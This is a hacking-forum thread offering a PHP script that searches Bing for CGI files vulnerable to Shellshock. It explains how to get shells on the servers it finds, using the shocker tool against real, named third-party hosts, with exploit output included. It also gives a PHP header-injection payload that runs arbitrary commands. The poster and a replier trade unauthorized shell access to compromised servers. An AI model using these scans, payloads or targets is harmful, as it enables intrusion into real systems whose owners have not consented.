[Free] [Source] Shellshock finder (dork)

[Free] [Source] Shellshock finder (dork) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Hacking Tools and Programs (https://hackforums.net/forumdisplay.php?fid=10)
+---- Thread: [Free] [Source] Shellshock finder (dork) (/showthread.php?tid=5593338)

[Free] [Source] Shellshock finder (dork) - anysec - Apr 6, 2017

Hi,

This script will dork the search engine Bing, looking for cgi / sh based files and test if
the target URL can be pwn. It is full opensource.

What is the purpose ?

It is hope to you... you can exploit the vuln for do a lot of thing, the attack target Linux bug in bash discovered few years ago, the bug allow in remote to execute command system

How to ?

You will need the following things :

- PHP 7 with CLI, CURL

Create a datadir and creates thoses 3 files :

Quote:- dork.php
- list.txt
- vuln_link.txt

Make sure those files can be read / write (chmod 777).

The script much be execute in CLI, that's mean you have to use the php in command line, do not start the script from your webrowser

dork.php

pastebin.com/CmBszzpD

list.txt

pastebin.com/Qd5KfcBm

vuln_link.txt

Must be created and empty

now just run the script in command line :

Code 
php dork.php

The dorking will start to ouput something like :

Quote:[*] Dorking starting
[Disable] The script will not use any proxy, you are naked
[*] apps/web/vs_diag.cgi will be used
[*] 260 results found
[*] Url fetch starting
...

To activate the proxy settings, edit the line 15 :

Code 
$proxy = true;

By default, the proxy is set to localhost port 9050 (tor), edit the value of $proxy_addr if needed. If the proxy is enable, the dork script should answer :

Quote:[*] Dorking starting
[Enable] The script will use the proxy address 127.0.0.1:9050
...

And wait, depending on how fast is your connection, the success of getting vuln server will
be more or less fast. On a VPS, you can except some positive result in 30 minutes

How to get a shell on discovered vuln target ?

Use the python exploit shocker (available on Github)

github.com/nccgroup/shocker

To get a shell (the following example was found about 30 minutes ago, before I made this topic, be nice with this target :P)

Code 
python2 shocker.py -H frodo.caslab.com --cgi /xymon-cgi/bb-histlog.sh

Output :

Quote:[+] Single target '/xymon-cgi/bb-histlog.sh' being used
[+] Checking connectivity with target...
[+] Target was reachable
[+] Looking for vulnerabilities on *****************
[+] 1 potential target found, attempting exploits
[+] The following URLs appear to be exploitable:
[1] ******************/xymon-cgi/bb-histlog.sh
[+] Would you like to exploit further?
[>] Enter an URL number or 0 to exit: 1
[+] Entering interactive mode
...

You will now have the prompt shell where you may enter any command system. try something like

Code 
/bin/ls /

if you got the listing of root directory of Linux, you have in most the case the ultimate access. Congra. Now let's get another thousand...

Available 5/5 : [FREE] Offer 5 shell access Server / VPS around the world, found using this script. Reply on this topic and I will provide you the access in PM

* - DrDoktor - Apr 6, 2017

Nice I'm definitely going to use this

* - anysec - Apr 6, 2017

Next update will include duckduckgo and qwant

Thanks for your interest for my script, if you have any question, please ask

* - DrDoktor - Apr 8, 2017

I would like to have a shell if possible also see if you can get it to work with Google

* - anysec - Apr 12, 2017

(Apr 8, 2017 11:58 AM)DrDoktor Wrote: I would like to have a shell if possible also see if you can get it to work with Google

Google have insane restrict to his search engine and won't allow you to execute +10 search on specific keywords without asking to resolve a crazy captcha, it become totaly useless to try getting such informations. But you could find out dozen of search engine with huge database and freely accessible by bot and heavy request :

- Bing
- Yahoo
- Duckduckgo
- Qwant
- Baidu
...

Here a shell access for you since I can't send by private message for now :

Quote:python2 shocker.py -H dianet.com.ar --cgi /cgi-bin/bb-hist.sh

You can get the shell using the python script shocker available on github (see the link in the first post of this topic)

If you like do it in PHP, you could make a small PHP script to send a $_POST variable to

Code 
$cmd = $_POST['cmd'];

curl_setopt($curl, CURLOPT_HTTPHEADER, ["custom:() { ignored; }; echo ; $cmd"]);

The post could be :

Code 
/bin/ls /

But you definitively will handle the shell access in a better way in python or perl (even in C if you feel to) than PHP, but still possible to do a shell interface in PHP

Anyone can post a reply on this thread asking for a vuln target, will give as my best effort